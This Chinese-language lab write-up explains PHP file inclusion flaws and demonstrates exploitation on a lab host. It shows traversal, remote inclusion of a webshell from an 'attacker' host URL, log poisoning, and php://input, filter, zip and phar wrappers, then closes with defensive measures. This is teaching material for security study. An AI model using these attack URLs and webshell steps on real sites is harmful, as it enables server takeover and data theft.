目录
一、前言
二、文件包含漏洞原理
三、利用条件
四、文件包含漏洞利用
实验一:本地包含和远程包含
实验二:利用文件包含漏洞读取Windows系统敏感信息
实验三:本地包含配合文件上传木马图片
实验四:包含apache日志文件
实验五:php流input
实验六:filter读取文件
实验七:zip实验
实验八:date://
实验九:phar://利用姿势:
五、文件包含漏洞防护总结
一、前言
把可重复使用函数写入到单个文件中,在使用该函数,直接调用此文件,无需编写函数,这一调用文件的过程被称为包含。文件包含漏洞是一种常见的web类型漏洞,因为很多脚本语言支持使用文件包含,也就是我们所说的文件包含函数,网站开发者经常会把一些代码插入到指定的地方,从而节省之间避免再次编写 ,这就是包含函数的基础解释 ,但是我们不光可以包含我们预先指定的文件,也可以包含我们服务器内部的其他文件,前提条件就是我们需要有可读的权限才能读取这些文件 ,所以这样就会导致文件包含漏洞。
二、文件包含漏洞原理文件包含漏洞产生的原因是在通过PHP函数引入文件时,由于传入的文件名没有经过合理的校验,从而 *** 作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。几乎所有的脚本语言都会提供文件包含的功能,但文件包含漏洞在PHP Web Application中居多,而在JSP、ASP、ASP.NET程序中却非常少,这是有些语言设计的弊端。在PHP中经常出现文件包含漏洞,但并不意味着其他语言不存在。以php语言为例子:存在include、include_once、require、require_once几个包含函数,他们之间的不同点如下:
include():找不到被包含文件时会产生警告(E_WARNING)。 ---- 会继续执行后面代码。
include_once():与include()类似,代码已经被包含则不会再次包含 。 --只引用一次。
require():找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR)。 --不会继续执行后面代码。
require_once():与require()类似,代码已经被包含则不会再次包含 。 --只引用一次。
三、利用条件- include等函数通过动态执行变量的方式引入需要包含的文件。
- 用户能控制该动态变量。
- 满足php的语法规则,大部分的后缀名都可解析为php文件。
文件包含分为:本地包含漏洞和远程包含漏洞。
利用方法演示如下:
实验一:本地包含和远程包含1. 修改php.ini文件中的参数如下:
2. 本地包含:
在浏览器中输入:http://192.168.43.45/bh/include.php?page=phpinfo.xxx 包含服务器本地文件:phpinfo.xxx
包含本地上级目录文件:
在c:/phpStudy/目录下创建123.txt文件,并写入: ,进行上级目录包含测试,访问:http://192.168.43.45/bh/include.php?page=../../123.txt 结果如下:
3. 远程包含:
黑客主机:192.168.43.113:已搭建phpstudy环境。
受害主机:192.168.43.45:网站已搭建文件包含靶场环境。
黑客主机创建:1.txt文件,写入一句话木马: ; 黑客主机创建2.txt,写入: 。
访问:http://192.168.43.45/bh/include.php?page=http://192.168.43.113/1.txt
使用蚁剑连接php一句话木马。成功拿到网站的后台。
将192.168.43.113网站根目录下的1.txt重命名为1.php,则不能无法使用蚁剑连接成功,原因是:1.php已经被解析了。
远程包含2.txt文件:
实验二:利用文件包含漏洞读取Windows系统敏感信息1. 浏览器访问一个包含不存在的文件,使其报错出网站的目录。
访问包含了敏感文件的URL:
再如访问:C:\Windows\System32\drivers/etc/hosts文件。
实验三:本地包含配合文件上传木马图片(受害机自己的文件上传靶场已经搭建好)
1. 将一句话木马和图片结合,形成图片马。
2. 访问受害主机的文件上传靶场
3. 上传图片马:
4. 利用文件包含访问图片马所在的文件路径;(注意我这儿采用的是大马和图片相结合这样直接可以连接后台;也可以采用小马和图片结合的方式生成图片马,结合菜刀或者蚁剑连接)
5. 即可登录webshell:控制网站后台:
但是好像有乱码,估计应该是编码的问题。
6. 小马制作图片马爆出php信息:
实验四:包含apache日志文件
(phpinfo +一句话木马)
1. 利用apache中的access.log文件会记录访问,来实现对一些敏感信息的爆破。
文件位置:
先停止PHP study,修改C:\phpStudy\Apache\conf\httpd.conf文件。
然后重启phpstudy。注意每次修改apache文件之前要停止PHP study。
黑客浏览器中输入:包含一句话木马的URL。之后,配合Burpsuite 在客户端和浏览器之间把编码还原。
2. 访问包含了access.log的文件的URL;,让其解析phpinfo()函数。
3. 同理包含一句话木马配合蚁剑实现webshell:
成功连接,但是**有乱码。
实验五:php流input(phpinfo +一句话木马)
1. 访问 http://192.168.43.45/bh/include.php?page=php://input
结果:
结果:
一句话木马:
蚁剑测试:
实验六:filter读取文件1. 访问:
http://192.168.43.45/bh/include.php?page=php://filter/read=convert.base64-encode/resource=index.php
2. Base64解密:
实验七:zip实验创建PHP大马,压缩:
文件上传:
访问绝对路径:
http://192.168.43.45/BH/include.php?page=zip://C:\phpStudy\WWW\upfile\0\upload\2.zip%232.txt (注意是2.txt,%23是#的编码)
实验八:date://
实验结果:
Base64加密:
实验九:phar://利用姿势:
利用之前的2.zip
访问URL: http://192.168.43.45/BH/include.php?page=phar://C:\phpStudy\WWW\upfile\0\upload\2.zip\2.txt 直接d出下图页面:
五、文件包含漏洞防护总结1. 严格判断包含中的参数是否外部可控,因为文件包含漏洞利用成功与否的关键点就在于被包含文件是否可以被外部控制。
2. 路径限制:限制被包含的文件只能在某一文件夹内,禁止目录跳转字符,如:“../”。
3. 包含文件验证:验证被包含的文件是否是白名单中的一员。
4. 尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include(“test.php”);。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)